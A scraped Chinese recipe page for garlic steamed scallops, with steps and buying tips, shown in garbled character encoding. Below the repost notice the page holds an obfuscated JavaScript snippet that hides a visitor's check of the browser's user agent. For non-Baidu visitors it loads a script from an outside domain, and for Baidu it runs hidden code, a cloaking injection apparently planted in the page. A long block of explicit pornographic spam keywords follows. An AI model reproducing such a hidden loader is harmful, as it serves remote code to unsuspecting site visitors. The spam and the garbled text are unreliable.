當(dāng)前位置:首頁(yè) > 飲食 > 健康飲食 > 正文

蒜蓉蒸扇貝

2017-04-21 17:28:05  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):扇貝是一種營(yíng)養(yǎng)價(jià)值比較高的貝殼類,它含有很多的蛋白質(zhì)和礦物質(zhì),所以我們?cè)谏钪羞m當(dāng)?shù)某砸恍┥蓉悓?duì)于我們的身體健康是有幫助的。而蒜蓉

扇貝是一種營(yíng)養(yǎng)價(jià)值比較高的貝殼類,它含有很多的蛋白質(zhì)和礦物質(zhì),所以我們?cè)?a href="http://m.jewhye.com/sh/" target="_blank" class="keylink">生活中適當(dāng)?shù)某砸恍┥蓉悓?duì)于我們的身體健康是有幫助的。而蒜蓉這種東西主要是用來(lái)提味的,所以對(duì)于文章介紹的蒜蓉蒸扇貝,你們可以多去了解一些它的制作方法,這樣有助于你們食用蒜蓉蒸扇貝這種食物。

蒜蓉蒸扇貝這種食物是比較美味的,相信吃過(guò)這種食物的朋友都是知道的,所以我們建議大家在生活中可以多去了解一些關(guān)于蒜蓉蒸扇貝的制作方法,這樣對(duì)于你們?cè)谏钪惺秤盟馊卣羯蓉愡@種食物是有幫助的。

蒜蓉蒸扇貝是粵式酒樓常見的一道海鮮,做法簡(jiǎn)單,味道鮮美,蒜香濃郁,是居家生活的常備菜系。

蒜蓉蒸扇貝

蒜蓉蒸扇貝的做法步驟

1. 扇貝切開取肉,找把刷子把貝殼里里外外都刷干凈。這個(gè)是要用來(lái)當(dāng)容器的。

2. 扇貝用鹽搓洗干凈,再放入少量的鹽腌漬入味。

3. 放入黃酒,把扇貝泡上去腥氣。也可以放二片姜。

4. 把蒜切成細(xì)沫,紅椒切成小丁,蔥切成細(xì)花。

5. 把三沫倒入油鍋中煸炒一下,這就是蒜香濃但不辣的秘訣哦。

6. 加一點(diǎn)胡椒粉一起煸一下,更鮮更美味哩。

7. 把泡發(fā)的龍口粉絲卷成小卷放在貝殼里。

8. 放上扇貝肉和黃。其他部位我都沒有采用。

9. 每只上面倒入二滴蠔油。哈哈,這個(gè)味夠美啦。

10. 把煸好的三沫分別放入扇貝上。

11. 上鍋蒸5分鐘,不要時(shí)間長(zhǎng)哦、扇貝很容易熟的。

小貼士

1)扇貝買的時(shí)候盡量買干凈的,殼臟的貝生長(zhǎng)的環(huán)境水污染比較嚴(yán)重,里面的肉也會(huì)受到污染。

2)扇貝買的時(shí)候一定要買鮮活的,張口的不要買,即使看到黃多也不要入手;

3)扇貝要事先用鹽和黃酒泡過(guò),時(shí)間20分鐘左右即可;

4)燒熱油前,也可以放一點(diǎn)蒸油豉油(沒有用生抽),但是量不要多;

5) 澆完熱油那個(gè)鮮蔥可以不食,咱是吃蔥不見蔥。

如果我們?cè)谏钪袑W(xué)會(huì)蒜蓉蒸扇貝的制作方法,這對(duì)于我們?cè)谏钪袦p輕一些生活開銷是有幫助的,所以我們學(xué)習(xí)蒜蓉扇貝的制作方法是有必要的。其實(shí),蒜蓉蒸扇貝這種食物對(duì)于我們來(lái)說(shuō)是比較容易制作的,只要我們學(xué)會(huì)扇貝的處理方法就可以了。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
真实国产乱子伦精品视频| 日韩人妻无码精品久久久不卡 | 久久久久久久久久免免费精品| 成人精品综合免费视频| 国产精品亚洲高清一区二区| 久久精品综合一区二区三区| 中国精品18videosex性中国 | 精品国产婷婷久久久| 国内精品九九久久精品| 亚洲精品成人av在线| 91人前露出精品国产| 人妻少妇看A偷人无码精品视频| 精品久久久久久久免费加勒比| 亚洲а∨天堂久久精品| 97国产精品视频| 99热这里只/这里有精品| 精品久久久久久久久免费影院 | 国产精品毛片VA一区二区三区| 久久久久亚洲精品天堂| 国产精品成人久久久| 国产精品2018| 亚洲综合av永久无码精品一区二区| 久久久999久久久精品| 999久久久无码国产精品| 国产精品国语自产拍在线观看| 国产成人精品福利网站在线观看| 成人精品一区二区三区中文字幕 | 国产成人精品视频一区二区不卡| 1卡二卡三卡四卡精品| 在线观看精品国产福利片尤物| 精品国产三级a乌鸦在线观看| 先锋影音国产精品| 亚洲国产午夜精品理论片在线播放 | 亚洲国产精品久久| 久久夜色撩人精品国产av| 亚洲国产精品自产在线播放| 久久国产亚洲精品麻豆| 国产精品香蕉一区二区三区| 亚洲а∨天堂久久精品| 色欲国产麻豆一精品一AV一免费 | 精品久久久久久亚洲综合网 |